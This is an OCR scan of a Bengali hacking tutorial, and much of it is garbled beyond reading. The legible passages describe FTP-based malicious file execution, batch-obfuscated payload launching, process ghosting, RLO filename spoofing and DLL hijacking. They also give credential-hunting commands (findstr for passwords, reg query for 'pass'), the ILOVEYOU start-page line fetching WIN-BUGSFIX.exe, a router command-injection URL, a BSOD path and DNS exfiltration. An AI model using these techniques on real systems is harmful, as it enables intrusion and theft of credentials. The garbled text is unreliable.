T2 ST A 1, T, et Windows a3 st =1
2, CSCET 4T A

AT I Afefre [foq Waema e 2= ©i%, At
WASAT FHRT A1 YF2 §PE| o4, Eeweae F [[gd 7
3d paid JRT 4 S| 7 A G0 FAT ) AT AT
AN "BIF! T Aoy R T FA0T A fFesws el

203 AE QI 900

45



—— 13417 ees 8f9d by 73w
BTGB 13 3 I8 (AR
2515 TN vl

IS e S @I IR SR @t Fafze
qNTAE G AfSDT S e IRt T T T
@A @Bl forel @ oritee) R @ FaifeceE, o @3
ST (AR T S B I |

P TN A SR JoAREoS RIS S
ACol| NS Al A (ol a9 (F2 IO i
FACO T, AT (T3 FPICHIET (F0STF AT FAAN| QAT
SN RISl P& A- (IR FACOIET AL A
FT5Ita connection 29« F41| TSy SNl AT A3
scan I M- (12 FEACHIRR Wiy 2 & & A1f$T open
SR A0 A S (@, 92 Scan [ SR IR YR
afesa e FE9, QI FEICHIET Ye,eo¢ T ¢t scan
O3 Y TrB1-FieF ST &F |

Col, SRTAICY AWM scan 4 complete =71 @12 scan €3
FEATH T ST (o TS 'yes' e HeFiw et Fiee,

46



———W391 Sired SfF by W3F

scan I TFre AFEN- SNWE B T4 (12 IICHIES
#anonymous FTP login** vl wite (S1die, SIS=T (1%
SITHIAR A connect 2SI &+« anonymous =5 i
G2 APTSATS A IR FA0® AR | ©i2, FTP e 12
FITOICa AL connect =M QIS SNl s FEACHE
fae etz

&g, bl & 2= QIR T (@I 'yes' e besia meafeer
Q¥ ©IF BTl 7Co AR ST S5 (3 user e
login s@fR, G2 user (oxw g3 FACE AT | ©F,
S admin 2o login ce 2q1 @8, SNl ol
admin AYET ANSAT ST 9 SiCeT @2 5 Fai? @b
SRR VIR ST I WAl HACS (- G
fezsface (folder -«) g file =izl oRE @3 file 2fe
G gsaF 3 execute T (i, @13 file @3 W @2
CAIATS (7T TR, GBI run 2= @F @6 “99[) |1 «b7 632
admin == S o, S admin 2@ login e =1
Al & A=e ANl o 5ideR @ file @ W wfewq
(malicious) ceffas forcd e =iifs @37 749 > ff6 =7 @12
file & oM execute =T ©XF SN oy (sl
c2ffalt run 26|

S Sty T2 st iR file wa sy 6 foc mcafesse

47



———W391 Sired SfF by W3F

G ST QN ol fored Meafeetis- (@3 ol run &
SN FEIE (e command f&7te Bieslo o[ 13
command SRET FE FE M| (O, (T2 & AN ATFT
93T file wINma FF=eoE I Faaw 8, 9T file
e Awime Biels P 2ioidl? £ W cof @i
SIS A |

58, SN [ Tew- Nma IR0 e (=BG
SLIIETRG DI | (Of, (AT A (G2 | SN A
3Cold local @ STIRG Ble] I €, WA
SIINRG @12 file @4 Mem| @3q WA Sl IR
ATF SN 820 At file © wreatene sy e w9,
a 5 977 @3 file & execute o=t @12 file wseE
s ifde e (delete ssew wiafF) | @i, <12 delete
<1 file @3 9w feten **exec.py** &8, @6l delete a7
S Ao file @3 A **exec.py *#fc fE a5,
I s @te W @reg 12 o wime file @a Tiw @y
SRl Wbl (12 file, @6 wIw=T delete Tt Mz ©iF, @<
o oiwtme file © execute wta wecet s
SR FE5IE command T SI-E T CTeTis | @2
S @2 command e S, Biese SISt @t G2
SR PG FACE| G, @9 ANG admin AEFE 0o IS
FACS AN SR HIICeTCe; f&ee ¢ofeiy|

48



——N3q/7 Sred $fAd by M3F
qbT foeatl =i 9 W7, Q¥ e SEET (@3 A [ e
-

* fre 99 91, AR @0STE O (& TORT A IR0
el 151 o755 1|

* @ file WE ¥ #1977 execute FAHF s w1 [T
[BIRCESIT

* SR @ fTeRT login 319 &y fAte it APTee
set 3 @e|

* 99, qore o2 IR Ptz @, w2 delete sa@ s
FIFIRWT 91| G0 A IS |

AR I, S oo 22| b R G AR
IGELEN

49



———W391 Sired SfF by W3F

QAR ST 5%
16 SNBIA

SR (@ friend T SR A, $4F T O 7]
o Qb e o te “ii91 Wbt active status =1 =)
Sife T SR ATF, O AT AF (FgF friend
o =fKE AN 92 I o M A T8, WM Tive
I settings @t ¥ 919w o off T 2

I q@fe J1 @, I 98 AgE T off weaw 71, o @I
Tes | 58, SN U2 7w o off 3 At~/ ear fes
g =Cel-

* SoeE (g friend @3 T O3 Giess Ao - =i
AN GHIPICes AP ST (12 (T friend =3ce!
SR SERere SR qCH AU I (FIF Fhe FACO BT
Qe 12 (e friend &t @, e T4 901 AT O
SIS0 AP | N, T4 T AT ] O SR ACHA |
©IZ, QU@ OICF Y7 (@ T8 FACO A 1| O (MR- AT FL
(FALF (AP TR B Aoz | ©IFE (T o A (T, oA
G G0 (2| T, AT U ACFTOII AT FCH ¥ T
SETIRCT SRS [, A5l S WA S F23 F41 @ACO
M| o8, (Fgea wgw = i active status IW off =

50



———W391 Sired SfF by W3F

AT SR, (FOL (TATS AR Fl- A SeriaeT =Aces i
IR |

* SAd AT (VWA SIS0 (A ([P (Rl o]

message o 78, ¥3 7w o off Fwa A JFF6IR
FICe AT TR

* oTIedd cwae Ot off T ardr ToFEn FRe, S afW
SeE e o off I ™ sie, s+ friend @@ w{&
o8 AUTS AEN | T, O SR ez A, AT
AGTS (ATe AR =11 e, Nwee «« N6 chatting st
Y T8 F4I (ATFS IHTS A |

NE SR [0l geed WF 27| O, WiV e 3 @soe
25T off Fta 7ifk SoItFe of f Fa = “Rr fufoz. |

51



———W391 Sired SfF by W3F

RIS GG

g policy oo w141 202

Qe IFE Fe @R tool tefd FEre @ Ty Meed
clicgmr wegre Jfoy tool o a8 @=- reverse
engineering @3 &y SR el gl Ghidra tefq
BACR, (A0 ST AR, AR6 SIS VS-S Seli* F19 &y
TR | S, S Glo tool AF @@=- 009 e
Shadow Brokers «is< Zjifse ap#l, St colica i 2K
tofq w41 EternalBlue s exploit seTi=ees ey w1
a7 v71 92 EternalBlue 5<=ee st Windows sIe5itas

SMBV1 " U IF T4 A=)

T TR @F, IPACHE Tt T2y tool TR O, WSS
Cobalt Strike @3 e «Ifqoy Q& 4T ©F, SN STo=)y
Sy FREFRES 8 Aol I 41|

Cobalt Strike

TS GRJAG Ai2q9 PiiveRi (red team) N Fe w6,
SIMAcE VT Malware 93 Y IS FAF Afoges] @SR

52




———W391 Sired SfF by W3F

=icy Cobalt Strike tofs <1 2rafeee| 3, AR =GRS
oima ftea Fed Cobalt Strike TI<=9 61 @@ A2
I@- Trickbot s erem@ @2 Cobalt Strike =z
631 e fores Trickbot @3 @fT SiRanT (i qeaT s
e SiceTse s

G5 SIRAE (iFT (e
O Tal)|

AEEF GF06 I WBASWIEFT code M Ao Hitaacd @Idl-
9B el aft Sz it fmee T

AT 633 FeT oo Irel wF FH-

a=1 «32 b=2 7=, a+b=3

S Windows et e fog wsaw oiw e
AN @& SeNics Command Prompt open 33 a
Q32 b 97 TN AT T NLF vy @HI% @, F1Cod a=1 =
fe1eel forate (-

set a=1

S, $FCe @I set foTite 2@ WiF @Y a 93 TiF I
BCACR ©IF, G4 WA a+a @ (@IIF (@9 FACS AR | O,

53



———W391 Sired SfF by W3F

a+a = foree forers 33-
%a%+%a%

iy, wFCe @R I % B Mre 2@ o FE- Qrolgg
T JATS (AR |

QY S BT W] TSI code [T 7%

start C:Users\**\AppData\Roaming\....\ulib8b4.exe

TP Q8 TS et S ©IZaPT QBICE IS RETT *I9Te
FE (TE| T8, WEASTT AGOIST Y AIAE I « T
Tota (ToId set a=1 F9© ey a 93 T 1 T AT, CTeIEe
TS ey T e Sew Wi 2o 3 @we-

set a=start
set b=C:Users

set c=\

e, start C:Users\#* sited s==ifeg 9 a, b, ¢ Toxiva
N fRETta I 20| ©1, @4 IM [HiE IR (rel 23-

%a%%b%%C%
54



———W391 Sired SfF by W3F

O, % BT WA a, b, ¢ eI EetER W REd T4
I run 1 IR, P GAT FIRE FAC «F T, 240
FANTT FICE BIE SGTF a, b, ¢ 97 M R Ihey wiwew

a, b, ¢ A=t F3w R run FER

g, aft SRaN @ARY NN FAE @A AR« O,
WEASRT @ft SRIE | W IO e Face
HY Q| B Q2 WIS T Cofq T AR O AT
@ A% SIRAMTR UBICE *Mie FAce AT )

Bfqce I FFg AR, CTRTEAIR HASIET T4 (@7
B o9, SN Cletee W9 @@ 3@ o ol e
SR @RIE qRed | Yoo, @ft eiarts il @eE
TR TAT JCECRI (@N3 2T @3 M9 file AT 2
Q0T FAER @ whe 9T 71 58, @12 file IO e
G LT LI WITSTIF TIGAEIC BT FIE FACE| A, U3 Haf©
TR SN IFIET STEDT FAF TR |CR)))

oo, @36 (®6 staged WyESIE ceReam <M @b Cobalt
Strike @ ©EAGC | GI7F AEAFET e Cobalt

Strike ¥ beacon & command T €32 T3 TR FIS
R{|

55



———W391 Sired SfF by W3F

= f@gfve =esl Cobalt Strike @ sty Spawn & Tunnel
& TRl e A Cobalt Strike i i s &+
Python =irercaees library =iezt 2 s+ areen| o @91
fog fFFre few citere Cobalt Strike &8 f&F =11 @it arez™

A &= AR &0 21T 9,00,000 B €3 I tool @
SN PR AT IR dFe?

56



———13917 &oIced 849 by 3%
U SR R NNTS

2 15 Grm31 35

Qs 2=R- Groove €3 Ramp < 2 6 ransomware
O3 STINRs| oo waw @, R B ransomware @3
ROFCT WFICT T3 | QRO B[S Woba oieee & B fores
qeR| QA AR O @ WitR- SimE 39 68,

Ramp 4% StaaeEee @8 st Joe Groove SiNs Sawhio
ransomware 3 SEEAE0| ATOSWIES WOz G
ransomware &=/-(<6! F41 2|

57



———W391 Sired SfF by W3F

BT CBIERA O file

FeoIEd @It file 749 delete @ (s 77, ©4F 12 file
o sf~rebas Fer 7o o8, 9% 79 file faca FEong e
o228 w41 T © WS Tmzad == Process Ghosting
ARG | SIS U3 ACTL SO FACT |

*¥ye Sqeadis Process Ghosting**

FITOIC Wi Aoy Brer T o7, G713 IRt FICHICE
JIR Qa6 process! ow, Windows ™Co1ta process
oIe] T F* exe** file (AT AU T4« S *#*+ exe** file
-9 5% @ ©4F FE0IET RAM (7 7191)@d ey 12 file @3
@b image section tof¥ =¥ @97 @12 image section
(AT process o 2| %8, process & bIe 29T 19 A

thread (process 43 @F =) bie] 91 RS T ALHeT®
@5 O3 GIBIE scan I 1| WS GI6T NETSTIF @S =1
(RCI?

92 Windows feoica **NtSetlnformationFile**
TR I @ITei file tofs w1 7w @, file © <= (close)

58



———W391 Sired SfF by W3F

FA9 AL AL delete =T T ©], @ file wsia tofd
a3 (12 file @3 sty wfewa payload executable foee face
F>ICoiaw A eE e ¢1R file g @3t image section
tofd z@ @399 file © close s MER @i oZa™ =&
FTBICE scan e A 11 F1=, file B cor @i T (delete
W ¢IR)l 8, @12 file @3 wfoaa TRFg (oF FICHIET
ICIT CHLT AACR| O, @9 GBI execute W M,
AP G SRACR FICR e 1 T

Q¥ I AN - (&I AT SR BICF *G FACO A2
GICFE, AP A5 SIRAIT AR 1 Fd I BT | IMs
AN Y AL A 7 @f SiRave update T @
OIS YA PR € HHOTOI SUC=IE SIECF ST |

59



———W391 Sired SfF by W3F

SYTCTSRITAR OlA-30 &0

PN JE AW QI WIETSWIER NN @ =7 *#*metsySH*
g, o7fF @EBIE **System** farita @Ate At fa,
QBT S|

S T SR @ft SRAPT W3R TESF [Sife 326 e
qEy oized 532 Windows ™€z Registry s=e=
Q| (o, @6 WETewE  IW 12 Registry
**metsyS** FIGR Howd [$3 A (8, S=E @16 Seoey
#GQystem** Red @it ¥ o 58 S G
Frodd fF7 W I w11 FI9w, *FESystem** @ Wy
FeoEd wed file a2 Foifis o8, @B cof e
kSystem**  §1 @R, F*metsyS*F  -F Tl I
*ESystem™* @t X0 |

Registry ¢s =9z 3teiz **#RLO** 92 67 GBI F41 A=A
94, file @3 I QO bl T AT & *¥*¥U+202e%*
character I9g< 341 & T, @36 Wfoaq file @a Tw
SeTCe AT FEfdp.exe* 58, SielfF @Ity **exe.pdf**
Q32 T 7[ 96 pdf 93

60



———W391 Sired SfF by W3F

a3 Tl fF8 (WS TG 7| @, T S 1 SIAACE AGS
A T AR Q2 A | AFRF (NI |

61



———W391 Sired SfF by W3F

File /7 037 T 1357

Windows setita «iefeg «fdfgle spice «ita- 39 Wme
e file 1 AwceTs fiem 2zt =Aic Swizgazsl Windows
Task Scheduler 3 321 Tt F1 AR GF LT FITHICT
fWe N o™ run Faea I F, **a12d404%* « 3
G0 gy it 29- Windows Task Scheduler 349
run <1 =7 o35 WptsExtensions.dll s5< file -& load
419 (b8 I o2p, 93 file FFITOE FeTo AFE 71 ©IF,
aFeq attacker IM FEH YT O IFE@ R 93
WptsExtensions.dll Fior ast wfesa file s1ebi
NfSTa 77 orreTs (12 wfews file & load 2@

fasizrs, Internet Explorer = folder a3 =R
ExtExport.exe @3 32 SErd &1 AW @2 ExtExport &
run =1 21 © o file -& load -

* mozcrt19.dll,
* mozsqlite3.dll a3z

* sqlite3.dll

62



———71317 eires 87 by W3
wiz, asew attacker I @3 file wtaw w2 o= wfe file
@Y @F OIS (12 Fhead file -& 2 load +31 @1 QST

LOLBin 3= =¥ JRTe2 AKC=A- S E e @&F 7o
YFCS A | 1T 2I4S T Ty AIRF (N7 |

63



———W391 Sired SfF by W3F

Windows 3 CHITR FHSTEG
BTy

S[fe et I FIUE gfF T FG| SAFAAS AHO
FAF ACH ASCHA T ACAD; TS I IO 93 (R
I 2R fB1- ©F AMBIZ T (LTS AT |

Yo7 SCeToa]

93 Windows FMICoT s (T It Feoid [mysis
user &fas ST oW @SR G2l T4 W QUFE
Powershell 59z« << 2@ “ltd|

SoRE e 2w g command e C drive @3 15
file @z list <<ta- dir /b /a /s c:\

G777 list a1 751 file @3 Wt findstr @ e T@- &

file @3 sty password, pass, ssh, vnc o5 @l =i
& T e, e ere file T0REGT ey [ese
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FETEBICT e e

qawers, Wed command wteTE TGN registry ¢ @ale
password St =1, GTB18 &t (TS AIC-

> reg query <hive> /f pass /t REG_SZ /s

@12 A, e file @ Mo Sty sysprep, credentials,

unattend, Token 5w SR CTRTENS FBIRCAGE VLT
gifecy (e (exfiltrate s<1%) 81 Face “A1ta)

AR TS IEEI- AN oo I ACHIZ. NS
Q2 SCEBAT | ST BI3TET QB LN FIIFAA FOACOICE 0%
f#1- log events (At & ABIR FC AACS AT | 1T #E®
AT & i |
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File {6 FLOUBI SUEA?

**FP1eo1ad file fF SPTCER FUC 78 7ok *

a6 jpg 2R ="s WY =7 26T AR java file -¢ z®
fItF | 9% @12 =<6 I AES We encrypt 6@, Sizee ¢
Jpg =R T @ .png 2R @T1F TEF AW jpg =T T2
SIESH .png 2R & AFCO A1 @0, .jpg =R unzip
FE LT .png [T (e 2| GO s [Fg2 & Fl
T @wqs Windows s1ebits Powershell si<ge w52
=47 ofs pixel @3 Aty wfewx payload @3 » bit T& Fw
ST FR S R S@wwee | Sk, Windows 1851t
.docx @& rename 3@ .zip I W=; SRR .Zip T M@
32 (12 .Zip 93 exg folder ¢oiex T

e ey e @2 file oy f[fey s sea ey
@9 faeg (e w=q|

e fPoaR Site- Fec Fw s 0 o9, 1 AEafE
Tafere| @A SN I @3 0 1w, 1 S e Fa9 e s
QTS & FACO AT ORI FeR @I file T Tero
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TR @ 9 aWe file @3 g @ TR A
FITHIER (F2e 3 e file © corrupted e zeete,
St 12 file e Nre (At ST FIe FA00 AR | 9IS
corrupted SRE (AT FFe FAS ARET TS CFE| NG
e, file @7 wifvww f¢8 w3 sz
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SIS AT LG

DAET [0y AT TANATT R B 0= A3 |
o[, @RS (R SRl e Afeen e qed) R,
SIS AR TR AT Twgod w41 [z 53 “mafe T@e
-

**Exif data <=e Fark*

SN B COITIE Y (1R 2R MY (@*(Hg 9 & 3 A,
it exif data a1 9 exif data = sty geolocation 712
TR 1, (TR @IRFY O AT | T, TR FIR RF
@IV =R SmE Fare A (iR =<9 exif data fegse s
SPRIAE oMl THI (@S AE @7 W (@2 9P [waf
ST I AT0T ZOR- SN oA e Geipices A e

O, QT R O [ iy -

* exif data zre2 delete =1 T T, T THATE 2
sicere exif data 7 AT W3 O NS TS 1

* (PHLE YIS 29 exif data Yoz (el 2| ©IF, 7f< e
gel Gmail @, 93" @ T GRS FAco 7E- @ exif
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data = e )

O TCO AAIE (@, TR0 (@3 @T (RIS M (o 3R,
AT ETEH (T2 @A (TR 9@ 3 512 IR
e, 93 exif data 3= file @z FaCe AT 2T &=
SIS Y0 (@F A1 LS Q|

**Meta data TR FrE*

arore file 93 e ooy “fkgir meta data U=
Windows sfeoita @@= folder -9 2@ I3 So Al

drop down menu ¢ right click s@ More -4 f&=
2 WAy meta data (R S B SR | WA,
AR @ACF 'R A, 5 & file Mo «ikee 12 file w3 @9@
O (ACF (T2 SPRIR ARCF NS 0T O] MR FI (AT
A

* e ST 20 FRLT FAPH*

Sroife e STAETIRE AFRIF FCEAS IR TSR 8 @
THCH [P OAT MR FACO ARE@A | (FIH- AT ST G
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G page create I, (T2 page 9« fo1:F (6L @I |
937 o2 forw T oA message ¥ AN SR
SoRIE 749 (12 feiee 3 903 ©F SR SF TSI
SR foed @F request SIFTE @R EIRIT SoRIAR
(ITPg ©2F (o A |

qRers ARfEfSs (om SR WHE Ame AN FA @TS AN
O, APe Aahed AR A QETT 1 29 1| 992, %
g [ @@ TR 71 91 A=A

AT Q0 FAR IACI- LT TR GO N2 A=A
rema o @M Afaster (e I IR, @99 AT
SfEPIE wit ql- 2fe YZre FCoR Prese Frel we
oime o2 feifiaa 20 =1 I, HZAR S9te SPRIAme A1
RIFIF 20T RS FCI I, A, SN2 #F0Sd 008 Qe (el
I AN R, AR FFIACH HGG ACST O AR FA 2T
FICR TS A AL, SN A FAALCEF gl B, Ao
Qif< |
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ARG YIVTRNR A L

SEE WCOF GH0 WA T IONH (o5 (@FC 0o
ORA 1| W, €3 JCACANS SRR [ AT SARACE TG
el ey wIie At (- =99 screenshot © o » w9
St @6 forum It QreTfReT™l| T Ge SR (),
“kGamarue.L** FItIE s Sdred e Teed g
FIAGCA 2SN IR

YeTo, FEeS WIS g ARed SR NGrIg g7 w
PR I QAT AT | (T 2p+- FoADe **#|LOVEYOU**
WETSFI YA ITONE execute ol, ©dF $FCo [Fbd

instruction @3 e Internet Explorer a3 start page
Afgaen B3 Mrsl-

Regcreate "HKCU\Software\Microsoft\Internet
Explorer\Main\StartPage’,
"http://www.skyinet.net/****/WIN-BUGSFIX.exe"

&8, @47 ! Internet Explorer 5729 341 =@ 7N ©fF, @3
instruction <ff@es FAR A S FiEIET G200

71




———w3q1 eITed S5 by W3F

SATCE A VL TR AT 2@ WIS TGOl
R FACS-8 AT | O (Al Ao, PrieeiiG Pieeses Tye =1
304 foifRra AP aFs e 21
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N FIHe0 foor3se Ioen
fo®r3543 FIRMWARE &5z b

AT [COIRER N2 @I @AF g (A J& I sl
qCF| @oitF firmware I W TH FFA, Jowq me
SR-FIR ACOICAT AR GIHTT CoI0e STIAI IFCHHA BLe AT |
T oas settings At Cof, 93 TTRCHET RN &)
@I (T3 ATHIRR Wy firmware 3@ 3@ @S TR
@3 firmware @3 @Ba FKCT T2 ToRA-3 YT T @S
AT

# BT TR

T FFw, ANEl @6 CC Fewa® firmware wieweETe
=11 ¢ol, firmware & ZIP file Zrta wredceTe = e
QI ST GBICE UNZip F9e™ @R .img file ¢ofen a3 e
@35 file system =itz (sidie, 53 folder, file Topiw) @uw
@2 fle system @9 ¥y o FACO WNH Mount I
Fere @R @Iy CC spe=ifoa siewss source file ¢ofem|
QN SNAT ARTS N (@, €@ geww facw 3w CC
I Woa T10E e 7 OIRCE ARTSAC ' SFeeTs
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AR user e Fewas % file @9 access s -

http://<IP address>/xadmin/test?u=dev

fFedr 03 e @, “PTeAe =l Siwar CC TR @ Hegs

access e A5l /1 9, firmware @td SNl o @
@fs TS (o=t | CT6T 70=- giees e CC i fHeee ferges
oitel @R foiggea #kg=** 43 °ta (value ) &=

command fee #giesr, command & run z@3- http://<IP
address>/update/fail?q=id

T 2 B TwRmd WEe e Sl feiReE

vulnerabiliy (@) g3 St Srad e 68, o0
TS feirre wp1ey vulnerabiliy 91=ts «ita| e, a3
ENAFA (@TG (12 @I fTeiRew @b 45 eitg ©ofF,
Q3 FENeFEr Ufe Shodan €3 Tter b 3fe" @F @12
fCel3ete search @ W3R 4t ¢t attack F9d 8,
@B fFeita A=T ZeTl? @Bl =9 2R Gk firmware
TITF CAATCTS FoF I TCEA, AT (AT Foce G2«
fTel3x f[7itm|
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T GHIE DAFT L5377
AR BB RAF LR

IV (AF oAfeee Satew FP%oiE attack SR
T “<Sr% Face @I WRAE ek team wiwa
Windows Se5aes 20w e Y& wd RDP i<
Q3B AfSH o] T ARG = IS ERET WG
VRS (AF Sma Feoiiad RDP -3 e»/ **brute
force** attack Sice ¥ <)

AT FEATOICTT TR A fForeg e

o @eT Google b F@ O MEAR FEH, CTONAD
TG AFE A TOIFS AT FAE A g @z
TAIZITE Q% POSt «F TRTS (FATS 2AH=- AS FA NI
ot RDP vie] A S0 4o (39 a1 AR Q4T 8
QT BT SRR ST |
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s [T ST

w7 Windows e ay<rie F<acel Event Viewer
Linux s®oita /var/log @3 Sty log (ate AR | o,
OET MK AP (PR MACS (o1 =i
DAEGT AY WFe [(feg e @=- RDP & e =1
YIFCET IF AL, =G ASTC RIS 99 @3- **brute
force** attack gfetaitg rate limitation Fieiferlt =
T azgrers SMTP, SMB 2w5iw ifer™ es@e **brute
force** attack =ite #Iitz; O, Gifacee F&g AL, FHawm
AMEN | 45|
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Rz Zfe srgfc

FIPACOI PICEY oM AE G T I NS AN AP
L Aahe AR LT AFTOIE T ST (FS o2 AT
| o8, e Fifee Aahe A IR, ETRTER SeTwl Semi
I AR G7N @ B e “Iafo 70T [F05 SNCEAD T 2el-

# Clickjacking

SN WOl (ATE FERT (@, GF0  STINREG NG
SN page (It | S, STAIRB N (Pl
Sy FCH AN AR | (-

* AW A08T STIF (RS 82T JAWMT (] A 16T (Al IR
1

* HTML IR 36 @19 Somiaes s+ opacity feer o
RIS

OSITT AR AL STAIAIRLG @6 SAMINCE ¢l @0
Oy HePd STAIAIRGT N ©F [Nea SHIMREG @R it
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fgs sfw @ gifs: 3@, st **Clickjacking** si@=e
A0

# Buffer overflow

ocaw **Clickjacking** Sii@se =1 Fceiol sige, **Buffer

overflow** S a1 Ot | e, AN I
ALETOIA2 T AT QT 49 (B3] FA(=-

FPCIEE (el (RAM) @3 ey fog =it a1 g9 buffer
I GF W FOFE data T4 W @99 F-@e g e,
@O ACPIE SR el T s SCorsl Far0 ] O,

CPU @tz a6 scheduling == & buffer @3 sty
SO T AN W FPA- S @6 notepad @ g
ferateT | (12 notepad 93 ATerF FRA AEH »o b o o1l
A | ©IF, Do SH(H ATOIF 72 o0 Save I A Sl M
@2 file @39 &< notepad W open =, @3 notepad
97 ATSIF FRA AW bo 6 IFd A T8 O, AfF do &
S @¥9 buffer € Tty 5TeT MR- (@A TWHg ZCal| @2
OFG B AT SN (53] FAE- AFOSIAT (I S(HG

sy buffer a TR @7 G Ffowq fog (exploit) e
Tt (@2 Si@Ewe F4 7 o #*buffer overflow** Siamsel
| AMe GOT BYE AF(6 T et i 533 feraeis =1
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TS Y1 BT 1 20T T
C2 =i2ar C&C

QT FITOR GTTOIT I <1 A (T, I QL (A2 (12
FeoE command M@ =IF, FEACORD G123 S
control 2@ «Big g2 C2 1, C&C “afe| au=is FFEoRMm
off <(a WIF ble] FACeTe YIFIA & (/AF | Go1 =P
el (PR A SRR @WH3 fooo i Washington
University -7 Ifetae GToitae o2 JIF T T (IR 7T
AT (OARCE- O YT HOFICO CTACR| Fg, & T o[
Kane «i5< e @deq M@imaE sy @, fofF i & o
7 deaced | fof giwia @91 cDe W tofs a1 BO2K wpi9g=
I(E (T8 (G ETHICET (HSACH N SR AR |

TeTo, YIFRMI iR 2fafed N @31 OF, WA i ahe
Qe &l ©F, Ao e smfowtE TR TN BBl
AL SR FI- G151 ABIZ FACO A |
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CATHLSHA CATH TG AT5H7?

¢eITT e spyware R Tet s gy % o I3e
**yx-underground** e e Pegasus @3 sample!
as github @@ wiwte a1 zoel IWMs, @B AfGr3
Pegasus &1 e, sifqed sample =1, 12 R ffoe
QST IR A1

“*Geeyy ST PIIT

q3 s 13 IS @ FAN- o T A To Ao
AT |

EA FIFA &1t e w012

TR @It TR leak zew data [ w4 =3 @R
“EA FIFA** @7 G 1T 919 %5 (2l J0R| (T A1

700GB file @z fe1=% share w41 2CC=]
IDRE0 94 IF WNME QREE @Ml S q) 3I19e,

2 DIRCIGCE N2 NS G| 12, (T2 3D AT -
ACHONOIF AL |
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CANSATSHA N3N

Pegasus ™2 W (TR oo NeT NS 6fay| FIE,
wgmig call e Taewz T @ install =@ 3w ©fF,
Qe e IM (@ Fioad o FF T-8 =, OF7RS TF
TR

TeTS, THS (MO MO UG 82 Fomif A A0
AT spyware (TFLeR) FKRF F1 7| BT (13 M
2 A4 Pegasus awwg 3t =~iigewa Ime, aft @
AR TSR 68, W2 AT Tgaeitd biwenae kg tofd
AR IR, 4 @b install FacaR s fos 5 90
ol 58, o FWogre fFF I welR install s
=4 i3, bt 9= zero-click attack «3 sege|

SR BT FICC (ETeTR @08ACF) call Fa= T Wrersya
install sty mexw «ONT wvEa €3 a9 call 4,

message 93 TN ISCEF W=FE @612e reboot F!
(TS AT | (- BN ** =% 2 e Qaw {7 g feree

message e (0Ol (KIS SNt restart a1 S[W,
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Windows s#ebite etaq qrews facy fevw file path ©
open e =Aes! Siet 7#5 (BSOD) 5eet Siita-

\\.\globalroot\device\condrv\kernelconnect

58, 97 L WASTIET T=F (3| ©I3, Mg 5w Fiee call
FAIE AGGCN2. IFSATT 2906 JCH ANST OF IO Y QF0]
| TS A |

©@, 2REGE NN call FF @ app iz, CIRTEN

vulnerability (=¢f6) -7 sy yeTesIE install s ¢rsa
SeTae M@ @WH- Whatsapp @9 @3t @fod SR Sga

call =31 wWNE T I TV @REN @3 RE@
Facebook 9= ftes fereess aprant Meace-

facebook.com/security/advisories/cve-2019-3568

Tore, «ft 789 28T @I S+ buffer overflow a5 @
=51 @ R feve foiseaa post @ [ifee w2,

Buffer Overflow

ADI SiAce WRT FHFT F919 T <AIeET IeT e e e
TS ool QI Al (o Wev (T e o A/ =iy
Prsifaa a1 @R g9 e Sfeaetses Afisderns zop el
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QYT TRIQTEE SPC0Iad data -3 M Qo= FP«| AT
aeoitad RAM @3 Sty @ «fswie data e Fiew 2o,
QAT O SEAE SOl Ay GRAR  ole R

Congratulations) ==& Buffer Overflow a5 s~>1eor=

attack @3 ARNE el It it WIE [ AceTvaT
el A< |

SIEACEICT beTae FEo ST data Afsemea o 4,

RAM @3 [ty ACF | ALGSTIT T4 (eiface @3 data ey,
O WIS O T (S 0| Aroi ol 1, 9=t buffer
& | WA FFA- IO TFOSTT A2 FICZ APTSHG BBz |
A 2PTeTC foled #Moiee AreTes o T Wdifde w4
buffer 49 Tt4 5031 A1 99T (IR APTETC AT [fF -
o ABIR FAF K T IS ©F A T8, 9T 7 IS0
e TR- AF0 FIG e[ ANy Feoiad CPU @3 EIP
TNE @R ¥ FEta e (address) @ Anw| ©iF,
AR APTSTC ABRET FS A A 94 (QATF T IS0

address & (987 FA| Y32 LW, ©IF T2

feg, 32 bit I FF MY APTSACLH A e g
data f&1ee Ao | o WFEw T AT AN Fhowa
code fote #ifdta, 37 F=a address @9 wRAT Ffowa
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code @3 address oty Mo a1 FCeT, FECOR T4 ST
FE T FE T IS FA9 & 69 address {Ts run
3904, o4 2 address @I SRAN ®fewsa code «F
address @7t AFW @12 ®feFw code &-3 run FE| 94,
@3 <% 7=- buffer overflow | =0T Ute! sze w7 @als
QR 2T | OCF, A & AN 92 T7 AT (W |

T FF- QIS e JocE call I AL A J2AT=K
(RIZCEE speaker @3 M ringtone @t Botz| S, (33

app 4 Wgew call w1 =R, G2 app -9 91 data @t

Processor -4 g AE €I processor iz data «ter
AIP1R T speaker @3 g “1forw esr| 58, @12 app -9
I auq @6 A @, call «F AT IR ST data -3 st
Fhodd code & I (ST A EIRTENS ACPIAT LI
execute I (TR, ORE2 G2 @oE Fes A call a3
Y Weemiad data 1P W @6 we-=eifw install
34 M= 7| Iwe, Forbes «x i@ @i+l Fitace @, @3
TAeTRG oFedar Afeditas CEOQ atarg, =i aft s=and
I 2, Ol ©F (72|

AT QI IR IACET- GF0 A T O 01 RS
@Y B A 5N (@0 FIEE, AR @0 Temmifa Fce
0T T [ SRR (12 SR @Eriifad Feamifee 2o
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- O TS sirea o=

fe¥eas 17w data 617

AN TR STIIANRBH NN 710 AMd (A, ©IF S JICEI
FOa (18 SAARG & A2 SAPe Jed=- DNS Fo™
(/TP ST O B3 AT (@ IR ALY STIIAIZBI0 &
@ F @ G, A0 Tew) fF8, T FEN- X SHIAIGA
AfeTd SN IR YIF FCACR| QT ST S9A1<
FEOIRT TR (AF OF e SEIR0 I3dy [R{Rs
I N«gewg data =MorAT 7=

ey

# g, feora?

TAIRAC FR, S STIIAIL0-

intarna.com

G AT FreEca Wevs 8raeas forcd Enter o s<te=-

notexist.site.intarna.com
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/T 93 SIS (Subdomain) @21 68, GB1 ol Si=E
oG @itN 71 ©IR, ¥ erFIANRed (subdomain) =g
QTG L& @ TR & S Wafars A€ (name server)
QT b request SPTCE| OFF U6 S| B SHF0! o Acol-

> notexistsiteintarnacom

RTS ce e W3 SEIMIGT ARBY 1 AFF S
SIARGA foIGHa =tel #*+notexist.** & F@ b Face
NI T TN AT G & I [RE2 Aoz | qdie,
151 1 B B 1016) VA B s S Bl WA 1 5 B 1 o O |
STIRPTIRG I fAEZ 21T @A **notexist. ** @7 Fie
e Feoiew encoded data U@, oA G2
CERAIRGT g 1 AiFce 13 data I 93 g
AR ST 50T I

QT GF6 TG FRUT 0R- U SIRAPT (AT S| O, S
IO T A ©dz At FAR oy ST oF, S e
- oA B AGoTeIT ANY FTOF F[YT FACI9 AR
